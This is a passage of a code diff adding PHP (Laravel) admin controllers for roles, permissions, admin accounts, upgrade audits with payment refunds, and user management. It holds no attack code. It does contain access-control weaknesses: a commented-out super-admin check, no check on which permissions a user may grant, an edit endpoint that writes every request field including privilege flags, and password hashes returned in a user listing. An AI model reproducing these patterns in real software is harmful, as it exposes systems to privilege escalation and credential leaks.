+                    'id' => $item->id,
+                    'name' => $item->name,
+                    'pid' => $item->pid,
+                    'status' => $item->status,
+                    'title' => $item->remark,
+                    'children' => self::getTree($permission, $item['id'])
+                ];
+            }
+        }
+        return $tree;
+    }
+}

+ 176 - 0
app/Http/Controllers/Admins/SystemRoleHasPermissionsController.php

@@ -0,0 +1,176 @@
+<?php
+
+namespace App\Http\Controllers\admins;
+
+use App\Modes\SystemRoleHasPermissions;
+use App\Modes\SystemRoles;
+use App\Modes\User;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Spatie\Permission\Models\Permission;
+use Spatie\Permission\Models\Role;
+
+class SystemRoleHasPermissionsController extends Controller
+{
+
+
+    /**
+     * 角色分配权限
+     * @author fatty
+     * @date 2019/1/7
+     * @param $roleId
+     * @param $permissionId
+     * @description
+     */
+    public function syncPermissions(Request $request)
+    {
+        $roleId = $request->post('roleid');
+
+        // 限制超级管理员角色不能移除授权
+        $role = SystemRoles::find($roleId);
+        if (empty($role)) {
+            return showJsonErr('角色不存在');
+        }
+
+        if ($role->is_super == 1) {
+            return showJsonErr('抱歉,您的权限不足');
+        }
+
+
+//        if (\Auth::user()->is_super != 1) {
+//            return showJsonErr('抱歉,您的权限不足');
+//        }
+
+
+        \DB::beginTransaction();
+        try {
+            $permission = $role->permissions;
+            if ($permission->isNotEmpty()) {
+                foreach ($permission as $item) {
+                    $role->revokePermissionTo($item);
+                }
+            }
+            $permissionIds = $request->post('permissionId');
+            if (!empty($permissionIds)) {
+                if (is_numeric($permissionIds)) {
+                    $role = self::rolePermissions($role, $permissionIds);
+                    if ($role == false) {
+                        \DB::rollBack();
+                        return showJsonErr('授权' . $permissionIds . '失败');
+                    }
+                } else {
+                    $permissionIds = explode(',', $permissionIds);
+                    foreach ($permissionIds as $permissionId) {
+                        $role = self::rolePermissions($role, $permissionId);
+                        if ($role == false) {
+                            \DB::rollBack();
+                            return showJsonErr('授权' . $permissionId . '失败');
+                        }
+                    }
+                }
+            }
+            \DB::commit();
+            return showJson(101, 1001, $role);
+        } catch (\Exception $exception) {
+            \DB::rollBack();
+            return showJsonErr($exception->getMessage());
+        }
+
+
+    }
+
+    /**
+     * 从角色中删除权限
+     * @author fatty
+     * @date 2019/1/8
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function revoPermission(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'roleid' => 'required|integer|exists:system_roles,id',
+            'permissionId' => 'required'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        // 限制超级管理员角色不能移除权限
+        $role = SystemRoles::find($param['roleid']);
+        if ($role->is_super == 1) {
+            return showJsonErr('抱歉,您的权限不足');
+        }
+
+        \DB::beginTransaction();
+        try {
+            if (is_numeric($param['permissionId'])) {
+                $res = self::roleRevoPermissions($param['roleid'], $param['permissionId']);
+                if ($res == false) {
+                    \DB::rollBack();
+                    return showJsonErr('移除权限-' . $param['permissionId'] . '失败');
+                }
+            } else {
+                $permissionIds = explode(',', $param['permissionId']);
+                foreach ($permissionIds as $permissionId) {
+                    $res = self::roleRevoPermissions($param['roleid'], $permissionId);
+                    if ($res == false) {
+                        \DB::rollBack();
+                        return showJsonErr('移除权限-' . $param['permissionId'] . '失败');
+                    }
+                }
+            }
+            \DB::commit();
+            return showJson(101, 1001, $res);
+        } catch (\Exception $exception) {
+            \DB::rollBack();
+            return showJsonErr($exception->getMessage());
+        }
+    }
+
+    /**
+     * 角色移除权限
+     * @author lyh
+     * @date 2019/4/1
+     * @param $roleid
+     * @param $permissionId
+     * @return bool
+     * @description
+     */
+    private static function roleRevoPermissions($roleid, $permissionId)
+    {
+
+        // 判断当前用户是否拥有权限
+        if (\Auth::user()->hasPermissionTo($permissionId)) {
+            $role = Role::findById($roleid, config('permission.guard'));
+            $permission = Permission::findById($permissionId, config('permission.guard'));
+
+            // 判断角色是否已有该权限
+            if (!SystemRoleHasPermissions::whereRoleId($roleid)->wherePermissionId($permissionId)->exists()) {
+                return false;
+            }
+            return $role->revokePermissionTo($permission);
+        }
+        return false;
+    }
+
+    /**
+     * 给角色分配权限
+     * @author lyh
+     * @date 2019/4/1
+     * @param $roleid
+     * @param $permissionId
+     * @return bool|\Spatie\Permission\Contracts\Role
+     * @description
+     */
+    private static function rolePermissions($role, $permissionId)
+    {
+        // 判断当前登录用户没有的权限不能操作
+        $permission = Permission::findById($permissionId, config('permission.guard'));
+        $role = $role->givePermissionTo($permission);
+        return $role;
+
+    }
+
+}

+ 123 - 0
app/Http/Controllers/Admins/SystemRolesController.php

@@ -0,0 +1,123 @@
+<?php
+
+namespace App\Http\Controllers\admins;
+
+use App\Modes\SystemRoles;
+use App\Modes\SystemUser;
+use App\Modes\User;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Illuminate\Support\Facades\Validator;
+use Spatie\Permission\Models\Permission;
+use Spatie\Permission\Models\Role;
+
+class SystemRolesController extends Controller
+{
+    /**
+     * 角色列表
+     * @author fatty
+     * @date 2019/1/8
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function index()
+    {
+        $role = SystemRoles::with(['permissions' => function ($query) {
+            $query->select(['id', 'name', 'remark', 'pid', 'status']);
+        }])->get();
+        return showJson(101, 1001, $role);
+    }
+
+    /**
+     * 创建角色
+     * @author fatty
+     * @date 2019/1/4
+     * @description
+     */
+    public function create(Request $request)
+    {
+        if (Role::where(['name' => $request->post('name'), 'guard_name' => config('permission.guard')])->exists()) {
+            return showJsonErr('角色已存在');
+        }
+
+        $role = Role::create(['name' => $request->post('name'), 'guard_name' => config('permission.guard')]);
+
+        return showJson(101, 1001, $role);
+    }
+
+    /**
+     * 编辑角色
+     * @author fatty
+     * @date 2019/1/9
+     * @param Request $request
+     * @description
+     */
+    public function edit(Request $request)
+    {
+        $validator = Validator::make($param = $request->all(), [
+            'roleId' => 'required|exists:system_roles,id',
+            'roleName' => [
+                'required',
+                'max:32',
+                function ($attribute, $value, $fail) {
+                    if (SystemRoles::whereName($value)->whereGuardName(env('Backend_Guard'))->exists()) {
+                        return $fail('角色已存在');
+                    }
+
+                }
+            ]
+        ]);
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+
+        // 判断登录用户是否拥有该角色
+        if (!\Auth::user()->hasRole($param['roleId']) && \Auth::user()->is_super != 1) {
+            return showJson(102, '您未拥有该角色');
+        }
+
+        $result = SystemRoles::edit($param);
+        if (empty($result)) {
+            return showJson(102, '更新失败');
+        }
+        return showJson(101, '更新成功', $result);
+    }
+
+    /**
+     * 删除角色
+     * @author fatty
+     * @date 2019/1/9
+     * @param $id
+     * @description
+     */
+    public function del($id)
+    {
+        if (!Role::whereId($id)->exists()) {
+            return showJsonErr('角色ID不存在');
+        }
+
+        // 判断登录用户是否拥有该角色
+        if (!\Auth::user()->hasRole($id) && \Auth::user()->is_super != 1) {
+            return showJson(102, '您未拥有该角色');
+        }
+        $result = SystemRoles::del($id);
+        if (empty($result)) {
+            return showJson(102, '删除角色失败');
+        }
+        return showJson(101, '删除角色成功');
+
+    }
+
+    /**
+     * 角色拥有的权限
+     * @author fatty
+     * @date 2019/1/9
+     * @description
+     */
+    public function show($id)
+    {
+        $role = Role::findById($id, config('permission.guard'));
+        $role->getAllPermissions();
+        return showJson(101, 1001, $role);
+    }
+}

+ 255 - 0
app/Http/Controllers/Admins/SystemUserController.php

@@ -0,0 +1,255 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\AdminArea;
+use App\Modes\MsgTemplate;
+use App\Modes\SystemUser;
+use App\Modes\User;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Illuminate\Support\Facades\Auth;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Facades\Validator;
+use Spatie\Permission\Models\Role;
+
+class SystemUserController extends Controller
+{
+
+    /*
+     * 消息模板列表
+     * wsl 20190812
+     * */
+    public function msgTemplateList(Request $request){
+        $list=MsgTemplate::get();
+        return showJsonSucc('数据获取成功',$list);
+    }
+    /*
+     * 编辑消息模板
+     * wsl20190812
+     * */
+    public function editMsgTemplate(Request $request){
+        $params=$request->all();
+        if(empty($params['id']))return showJsonErr('模板id不能为空');
+        if(empty($params['content']))return showJsonErr('模板内容不能为空');
+        if(empty($params['title']))return showJsonErr('模板标题不能为空');
+        $r=MsgTemplate::editById($params['id'],$params['content'],$params['title']);
+        if($r['code']==false) return showJsonErr($r['message']);
+        return showJsonSucc($r['message']);
+    }
+    /**
+     * 管理员列表
+     * @author fatty
+     * @date 2019/1/8
+     * @description
+     */
+    public function index(Request $request)
+    {
+        $param = $request->all();
+        $res = User::whereIsFrontend(0);
+        if (Auth::user()->is_super == 3) {
+            $res = $res->whereIn('id', getIds());
+        }
+        if (!empty($param['mobile'])) {
+            $res->where('mobile', 'like', "%{$param['mobile']}%");
+        }
+        if (!empty($param['real_name'])) {
+            $res->where('real_name', 'like', "%{$param['real_name']}%");
+        }
+        $res->with(['roles' => function () {
+
+        }]);
+        $res = $res->paginate(perPage());
+        if ($res->isNotEmpty()) {
+            collect($res->items())->each(function ($item, $key) {
+                $adminarea=AdminArea::where('admin_id','=',$item->id)->first();
+               // $adminarea=DB::table('admin_area')->where('admin_id', $item->id)->first();
+                if(!empty($adminarea)){
+                    $item->manageProvince=$adminarea->province;
+                    $item->manageCity=$adminarea->city;
+                    $item->manageDistrict=$adminarea->district;
+                }
+           });
+        }
+        return showJson(101, 1001, $res);
+    }
+
+    /**
+    *系统日志 wsl 20190806
+     *
+     */
+    public function operationLogs(Request $request){
+
+        $logs=DB::table('system_operation_log as s')->join('user as u','s.operator','=','u.id')
+            ->select('s.*','u.mobile','u.nick_name')
+            ->orderBy('s.id','desc')
+            ->groupBy('s.id')
+            ->paginate(perPage());
+        return showJsonSucc('数据读取成功',$logs);
+    }
+    /**
+     * 用户拥有的权限
+     * @author fatty
+     * @date 2019/1/8
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function userPermission()
+    {
+        return showJson(101, 1001, \Auth::user()->permissions);
+    }
+
+    /**
+     * 添加管理员
+     * @author fatty
+     * @date 2019/1/8
+     * @param Request $request
+     * @description
+     */
+    public function create(Request $request)
+    {
+        $validator = Validator::make($param = $request->all(), [
+            'mobile' => [
+                'required',
+                'string',
+            ],
+            'password' => 'required|min:6',
+            'real_name' => 'required',
+
+        ]);
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+        // 判断是否存在账号
+        if (User::whereMobile($param['mobile'])->whereIsFrontend(0)->exists() !== false) {
+            return showJsonErr('当前账号已存在');
+        }
+
+
+        // 如果当前用户是代理管理员,则创建的用户是影子用户
+        if (Auth::user()->is_super == 3) {
+            $shadow = 1;
+            $is_super = 3;
+        }
+
+        $users = User::create([
+            'mobile' => $param['mobile'],
+            'real_name' => $param['real_name'],
+            'password' => bcrypt($param['password']),
+            'is_super' => isset($is_super) ? $is_super : 2,
+            'invitor' => Auth::id(),
+            'shadow' => isset($shadow) ? $shadow : 0
+        ]);
+        if (is_int($users)) {
+            return showJson(102, $users);
+        }
+        return showJson(101, '添加成功', $users);
+    }
+
+    /**
+     * 当前用户的权限
+     * @author fatty
+     * @date 2019/1/8
+     * @description
+     */
+    public function permission()
+    {
+        return showJson(101, 1001, Auth::user()->getAllPermissions());
+    }
+
+    /**
+     * 编辑管理员信息
+     * @author fatty
+     * @date 2019/1/8
+     * @description
+     */
+    public function edit(Request $request)
+    {
+        $validator = Validator::make($param = $request->all(), [
+            'mobile' => [
+                'string',
+                function ($attribute, $value, $fail) { // 判断是否存在账号
+                    if (SystemUser::where('mobile', $value)->exists() !== false) {
+                        return $fail(lang(10001));
+                    }
+                },
+            ],
+            'password' => 'min:6',
+            'id' => 'required|exists:user,id',
+            'role' => 'string',
+            'status' => 'integer|between:1,2'
+        ]);
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+
+        if (isset($param['password'])) {
+            $param['password'] = bcrypt($param['password']);
+        }
+//        if (isset($param['role'])) {
+//            SystemUser::givePermissionTo('edit articles');
+//        }
+        $users = User::whereId($param['id'])->update($param);
+
+        if (empty($users)) {
+            return showJson(102, '编辑失败');
+        }
+        return showJson(101, '编辑成功');
+    }
+
+    /**
+     * 删除管理员
+     * @author fatty
+     * @date 2019/1/8
+     * @param $id
+     * @description
+     */
+    public function del($id)
+    {
+        $user = User::find($id);
+        if (empty($user)) {
+            return showJsonErr('管理员记录不存在');
+        }
+
+        // 如果待删除的管理员是超管则不可删除
+        if ($user->is_super == 1) {
+            return showJson(101, '抱歉您没有权限删除该管理员');
+        }
+
+        // 如果待删除的用户是影子代理商可删除
+        if ($user->is_super == 3 && $user->shadow == 0) {
+            return showJson(101, '抱歉,该用户是地区代理,不能删除');
+        }
+
+        $role = $user->getRoleNames();
+        foreach ($role as $item) {
+            $user->removeRole($item);
+        }
+
+        if (!$user->delete()) {
+            return showJson(102, '删除管理员失败');
+        }
+        return showJson(101, '删除管理员成功');
+    }
+
+    /**
+     * 更新密码
+     * @author fatty
+     * @date 2019/3/11
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function update(Request $request)
+    {
+        $password = $request->post('password', null);
+        if (empty($password)) {
+            return showJson(102, '修改密码失败');
+        }
+
+        if (!SystemUser::whereId(Auth::id())->update(['password' => User::encodePassword($password)])) {
+            return showJson(102, '修改密码失败');
+        }
+        return showJson(101, '修改密码成功');
+    }
+}

+ 252 - 0
app/Http/Controllers/Admins/UpgradeController.php

@@ -0,0 +1,252 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\AccountLog;
+use App\Modes\AdminArea;
+use App\Modes\Area;
+use App\Modes\MsgTemplate;
+use App\Modes\Order;
+use App\Modes\Upgrade;
+use App\Modes\User;
+use App\Modes\UserMsg;
+use App\Service\UpgradeService;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class UpgradeController extends Controller
+{
+    protected $upgradeService;
+
+    public function __construct(UpgradeService $upgradeService)
+    {
+        $this->upgradeService = $upgradeService;
+    }
+
+    /**
+     * 升级列表
+     * @author lyh
+     * @date 2019/4/9
+     * @modify_author lyh
+     * @modify_time 2019-4-26 12:33:08
+     * @modify 确认已区分系统管理员与地区管理员权限
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     * 查询:城区、申请时间、申请人(id,手机号码)
+     * 显示字段:所在城区、代理ID、手机号、当前等级、申请等级、申请日期
+     */
+    public function index(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'province' => 'exists:area,id',
+            'city' => 'exists:area,id',
+            'district' => 'exists:area,id',
+            'work' => 'integer',
+            'startTime' => 'date',
+            'endTime' => 'date',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        // 如果当前管理员是地区管理员
+        if (Admin()->is_super == 3) {
+            if (Admin()->level == 7 && $param['district'] != Admin()->district) {
+                return showJsonErr('抱歉,您不能查看该地区的信息');
+            }
+
+            if (Admin()->level == 8 && $param['city'] != Admin()->city) {
+                return showJsonErr('抱歉,您不能查看该城市的信息');
+            }
+        }
+
+        $user = \DB::table('upgrade as up')
+            ->join('user as u', 'u.id', '=', 'up.uid')
+            ->select([
+                'up.id',
+                'up.uid',
+                'up.province',
+                'up.city',
+                'up.district',
+                'u.mobile',
+                'up.user_level',
+                'up.apply_level',
+                'up.created_at'
+            ])
+            ->where('up.status', 2)
+            ->orderByDesc('id');
+
+
+        // 如果是地区管理员,则不显示同等级的用户信息
+        if (\Auth::user()->is_super == 3) {
+            $user->whereIn('up.uid', getIds());
+        }else{
+            //管理员查看对应的代理
+            $district=AdminArea::getAdminArea();
+            if(!empty($district)){
+                if(!empty($district['city'])){
+                    $user->whereCity($district['city']);
+                    if (!empty($param['district'])) {
+                        $user->where('up.district', $param['district']);
+                    }
+                }else{
+                    $user->where('up.district', $district['district']);
+                }
+
+
+            }else{
+
+                // 地区查询
+                if (!empty($param['province'])) {
+                    $user->where('up.province', $param['province']);
+                }
+                if (!empty($param['city'])) {
+                    $user->where('up.city', $param['city']);
+                }
+                if (!empty($param['district'])) {
+                    $user->where('up.district', $param['district']);
+                }
+
+            }
+
+        }
+
+
+
+
+        // 时间查询
+        if (!empty($param['startTime']) && !empty($param['endTime'])) {
+            $user->whereBetween('up.created_at', [$param['startTime'], $param['endTime']]);
+        } else if (!empty($param['endTime']) && empty($param['startTime'])) {
+            $user->where('up.created_at', '<', $param['endTime']);
+        } else if (empty($param['endTime']) && !empty($param['startTime'])) {
+            $user->where('up.created_at', '>', $param['startTime']);
+        }
+
+        // 关键词查询
+        if (!empty($param['word'])) {
+            $user->where(\DB::raw("concat(uid,mobile)"), 'like', "%{$param['word']}%");
+        }
+
+        $res = $user->paginate(perPage());
+        if ($res->isNotEmpty()) {
+            collect($res->items())->each(function ($item, $key) {
+                $item->area = trim(Area::getName($item->province) . ' ' . Area::getName($item->city) . ' ' . Area::getName($item->district));
+            });
+        }
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * 审核
+     * @author lyh
+     * @date 2019/4/9
+     * @param Request $request
+     * @description
+     */
+    public function audit(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'ids' => 'required|array',
+            'status' => 'required|integer|in:3,5'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        \DB::beginTransaction();
+        try {
+            foreach ($param['ids'] as $id) {
+                $upgrade = Upgrade::find($id);
+                if (empty($upgrade)) {
+                    return showJsonErr("抱歉,【id:{$id}】不存在");
+                }
+                if ($upgrade->status != 2) {
+                    \DB::rollBack();
+                    return showJsonErr("抱歉,升级【id:{$id}】不是待审核状态");
+                }
+                //退款操作wsl 20190628
+                if($param['status']==5){
+                    if ($upgrade['order_id']) {
+                        $order=Order::where('id','=',$upgrade->order_id)
+                            ->select('order_no','pay_no','price','pay_type')
+                            ->first();
+                        if(empty($order)||$order->order_no==$order->pay_no) return showJsonErr('当前订单数据不完整无法原路退款!');
+                    
+                        $remark='原路退款异常';$levelarr=['A','B','C','D','E','F','G'];
+                        if($order->pay_type==2 && $upgrade->status!=5){
+                            $pay = \App::make('aliPay');
+                            $r=$pay->getReturnInfo($order->order_no, $order->pay_no,$order->price);
+                            if($r->code==10000){
+
+                                $remark='您申请升级的等级-'.$levelarr[$upgrade->apply_level-1].'-审核不通过,资金原路退回支付宝';
+                            }
+                        }elseif($order->pay_type==3){
+                            //微信退款
+                            $pay = \App::make('wechat');
+                            $r=$pay->getReturnInfo($order->order_no, $order->pay_no,$order->price,$order->price);
+                            if($r->return_code=='SUCCESS'){
+                                $remark='您申请升级的等级-'.$levelarr[$upgrade->apply_level-1].'-审核不通过,资金原路退回微信';
+                            }
+                        }
+                        AccountLog::saveDataByPost($upgrade->uid,44,$order->price,User::whereId($upgrade->uid)->value('balance'),2,1,$remark);
+                    }
+
+                }
+
+                // 修改升级记录状态
+                Upgrade::whereId($id)->update(['status' => $param['status']]);
+                $msg_content=MsgTemplate::getTemplateContent(15);
+                $msgarr=['title'=>'升级审核通知','uid'=>$upgrade->uid,'type'=>11,'content'=>$msg_content];
+                if ($param['status'] == 3) {
+                    // 修改用户等级
+
+                    // 判断是否可以申请区域代理
+                    $isApply = User::getIsApply($upgrade->apply_level);
+
+                    //升级给点币  (代理费折合点币)
+                    User::conversionCoin($upgrade->uid,$upgrade->money,1);
+                    User::whereId($upgrade->uid)->update(['level' => $upgrade->apply_level, 'is_apply' => $isApply]);
+
+                    // 修改订单有效
+                    if ($upgrade->order_id) {
+                        Order::whereId($upgrade->order_id)->update(['status' => 3]);
+                    }
+                    $msg_content=MsgTemplate::getTemplateContent(14);
+                    $msgarr=['title'=>'升级审核通知','uid'=>$upgrade->uid,'type'=>11,'content'=>$msg_content];
+                    // 交费升级
+                    if ($upgrade->upgrade_way == 1) {
+
+                        // 交费升级添加账号流水
+                        $remark = "用户【id:{$upgrade->uid}】交费¥{$upgrade->money}申请升级[{$upgrade->apply_level}]成功";
+                        $result = AccountLog::insert([
+                            'uid' => $upgrade->uid,
+                            'type' => 7,
+                            'money_type' => 2,
+                            'money' => -(abs($upgrade->money)),
+                            'current_money' => User::find($upgrade->uid)->balance,
+                            'remark' => $remark
+                        ]);
+                        if (empty($result)) {
+                            \DB::rollBack();
+                            return showJsonErr('添加账号流水失败');
+                        }
+                        // zch 新增累加用户账户统计信息
+                        $this->upgradeService->incUserAccount($upgrade->uid,'agent_all_money',$upgrade->money);
+                        // 升级代理分佣 edit by wsl
+                        //lyh写的,不用了$this->upgradeService->commission($upgrade->uid, $upgrade->money);
+                        if(!empty($upgrade->money))
+                        Order::UserFenYong($upgrade->money,$upgrade->uid,1);//1升级
+                    }
+                }
+                UserMsg::SendGetui($msgarr);
+
+            }
+            \DB::commit();
+            return showJsonSucc('审核成功');
+        } catch (\Exception $e) {
+            \DB::rollBack();
+            return showJsonErr($e->getMessage());
+        }
+    }
+}

+ 797 - 0
app/Http/Controllers/Admins/UserController.php

@@ -0,0 +1,797 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\AccountLog;
+use App\Modes\AdminArea;
+use App\Modes\Advertising;
+use App\Modes\Area;
+use App\Modes\Frozen;
+use App\Modes\ProxyArea;
+use App\Modes\SystemRoles;
+use App\Modes\Upgrade;
+use App\Modes\User;
+use App\Modes\UserMsg;
+use App\Rules\Phone;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Illuminate\Validation\Rule;
+use App\Modes\Proxy;
+use phpDocumentor\Reflection\DocBlock\Tags\Param;
+
+class UserController extends Controller
+{
+    /**
+     * 用户管理-列表
+     * @author lyh
+     * @date 2019/4/15
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     * 显示:排序 登录账号 密码 姓名 手机号 所属用户组 操作
+     * 查询:手机号码、姓名
+     */
+    public function index(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            //'mobile' => 'integer|min:4',
+            'real_name' => 'string'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        $user = User::select(['id', 'mobile', 'password', 'real_name', 'is_super', 'status']);
+
+        // 如果是地区管理员,则不显示同等级的用户信息
+        if (\Auth::user()->is_super == 3) {
+            $user->where('level', '<', \Auth::user()->level);
+            $user = $user->whereIn('id', getIds());
+
+        }
+
+        if (!empty($param['mobile'])) {
+            $user->where('mobile', 'like', "%{$param['mobile']}%");
+        }
+        if (!empty($param['real_name'])) {
+            $user->where('real_name', 'like', "%{$param['real_name']}%");
+        }
+
+        $res = $user->paginate(perPage());
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * 代理统计列表
+     * @author lyh
+     * @date 2019/4/8
+     * @modify_author lyh
+     * @modify_time 2019-4-26 11:26:31
+     * @modify 确认已区分系统管理员与地区管理员权限
+     * @description
+     * 代理ID
+     * 等级
+     * 昵称
+     * 手机
+     * 代理数量
+     * 代理费总(元)
+     * 广告笔数
+     * 查询:时间、城区、手机号
+     */
+    public function StatProxy(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'mobile' => [
+                'integer',
+            ],
+            'start' => 'date',
+            'end' => 'date',
+            'province' => 'exists:area,id',
+            'city' => 'exists:area,id',
+            'district' => 'exists:area,id',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        //
+        if (Admin()->is_super == 3) {
+            if (Admin()->level == 6 && isset($param['district']) && $param['district'] != Admin()->district) {
+                return showJsonErr('抱歉,您不能查看该地区的信息');
+            }
+
+            if (Admin()->level == 7 && isset($param['city']) && $param['city'] != Admin()->city) {
+                return showJsonErr('抱歉,您不能查看该城市的信息');
+            }
+        }
+
+        $user = User::whereIsFrontend(1)->select([
+            'id',
+            'level',
+            'nick_name',
+            'mobile',
+        ]);
+
+        // 时间查询
+        if (isset($param['start']) && isset($param['end'])) {
+            $user->whereBetween('created_at', [$param['start'], $param['end']]);
+        }
+
+        // 手机号码查询
+        if (!empty($param['mobile'])) {
+            $user->where('mobile', 'like', "%{$param['mobile']}%");
+        }
+        //管理员查看对应的代理
+        $district=AdminArea::getAdminArea();
+        if(!empty($district)){
+            if(!empty($district['city'])){
+                $user->whereCity($district['city']);
+                if (!empty($param['district'])) {
+                    $user->whereDistrict($param['district']);
+                }
+            }else{
+                $user->whereDistrict($district['district']);
+            }
+
+        }else{
+            if (isset($param['province']) && isset($param['province'])) {
+                $user->where('province', '=',$param['province']);
+            }
+            if (isset($param['city']) && isset($param['city'])) {
+                $user->where('city', '=',$param['city']);
+            }
+            if (isset($param['district']) && isset($param['district'])) {
+                $user->where('district', '=',$param['district']);
+            }
+        }
+
+
+
+
+        // 区分系统管理员与地区管理员的数据
+        if (\Auth::user()->is_super == 3) {
+            $user = $user->whereIn('id', getIds());
+        }
+
+        $res = $user->paginate(perPage());
+        if ($res->isNotEmpty()) {
+            collect($res->items())->each(function ($item, $key) {
+                // 代理数量
+                // 代理费总额
+                // 广告笔数
+                $uids = User::getAllInvite($item->id, null, null, true);
+                $item->proxyNum = count($uids);
+                $item->proxyTotalPrice = Upgrade::whereIn('uid', $uids)->whereUpgradeWay(1)->whereStatus(3)->sum('money');
+                $proxyarea = \DB::table('proxy_area as pa')->join('order as o', 'o.id', '=', 'pa.order_id')
+                    ->select(\DB::raw('sum(price) totalprice'))->where('pa.status', '=', 3)
+                    ->whereIn('pa.uid', $uids)->first();
+                $item->proxyTotalPrice=$item->proxyTotalPrice+ $proxyarea->totalprice;
+                $item->adverNum = Advertising::whereIn('uid', $uids)->whereIn('status', [3, 4, 9])->count('id');
+            });
+        }
+
+        return showJsonSucc(1001, $res);
+
+    }
+
+    /**
+     * 发送信息
+     * @author lyh
+     * @date 2019/4/9
+     * @modify_author lyh
+     * @modify_time 2019-4-26 12:25:21
+     * @modify 确认已区分系统管理员与地区管理员权限
+     * @param Request $request
+     * @description
+     */
+    public function sendMsg(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'id' => 'required|exists:user,id',
+            'content' => 'required'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        // 区分系统管理员与地区管理员数据
+        if (\Auth::user()->is_super == 3 && !in_array($param['id'], getIds())) {
+            return showJsonErr('抱歉,您没有权限查看该用户信息');
+        }
+        $title=empty($param['title'])?'':$param['title'];
+        $result = UserMsg::SendGetui([
+            'uid' => $param['id'],
+            'content' => $param['content'],
+            'type' => 1,
+            'title'=>$title,
+        ]);
+
+        if (!$result) {
+            return showJsonError('发送私信失败');
+        }
+        return showJsonSucc('发送私信成功');
+    }
+
+    /**
+     * 解除代理
+     * @author lyh
+     * @date 2019/4/9
+     * @modify_author lyh
+     * @modify_time 2019-4-26 12:24:51
+     * @modify 确认已区分系统管理员与地区管理员权限
+     * @param Request $request
+     * @description
+     */
+    public function relieve(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'id' => 'required|exists:user,id'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        // 区分系统管理员与地区管理员数据
+        if (\Auth::user()->is_super == 3 && !in_array($param['id'], getIds())) {
+            return showJsonErr('抱歉,您没有权限查看该用户信息');
+        }
+
+        $user = User::find($param['id']);
+        if (!in_array($user->level, [6, 7])) {
+            return showJsonErr('抱歉,取消代理失败。');
+        }
+        $result = User::whereId($param['id'])->update([
+            'province' => 0,
+            'city' => 0,
+            'district' => 0,
+            'is_super' => 0
+        ]);
+
+        if (!$result) {
+            return showJsonError('取消地区代理失败');
+        }
+        return showJsonSucc('取消地区代理成功');
+
+    }
+
+    /**
+     * 冻结、解冻
+     * @author lyh
+     * @date 2019/4/9
+     * @modify_author lyh
+     * @modify_time 2019-4-26 11:26:31
+     * @modify 确认已区分系统管理员与地区管理员权限
+     * @param Request $request
+     * @description
+     */
+    public function updateStatus(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'id' => 'required|exists:user,id',
+            'status' => 'required|integer|between:1,2'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        // 区分系统管理员与地区管理员数据
+        if (\Auth::user()->is_super == 3 && !in_array($param['id'], getIds())) {
+            return showJsonErr('抱歉,您没有权限查看该用户信息');
+        }
+
+        $result = User::whereId($param['id'])->update(['status' => $param['status']]);
+        if (!$result) {
+            return showJsonError('修改用户状态失败');
+        }
+        //添加进入冻结记录
+        $frozen=Frozen::whereUid($param['id'])->orderBy('id','desc')->first();
+        if(!empty($frozen->uid)&&empty($frozen->thaw_time)&&$param['status']==1){
+            //解冻
+            Frozen::whereId($frozen->id)->update(['thaw_time'=>date('Y-m-d H:i:s')]);
+        }else{
+            //冻结
+            if((empty($frozen) && $param['status']==2)||!empty($frozen->thaw_time)){
+                Frozen::insert(['uid'=>$param['id']]);
+            }
+
+        }
+        return showJsonSucc('修改用户状态成功');
+    }
+
+    /**
+     * 代理列表
+     * @author lyh
+     * @date 2019/4/9
+     * @param Request $request
+     * @description
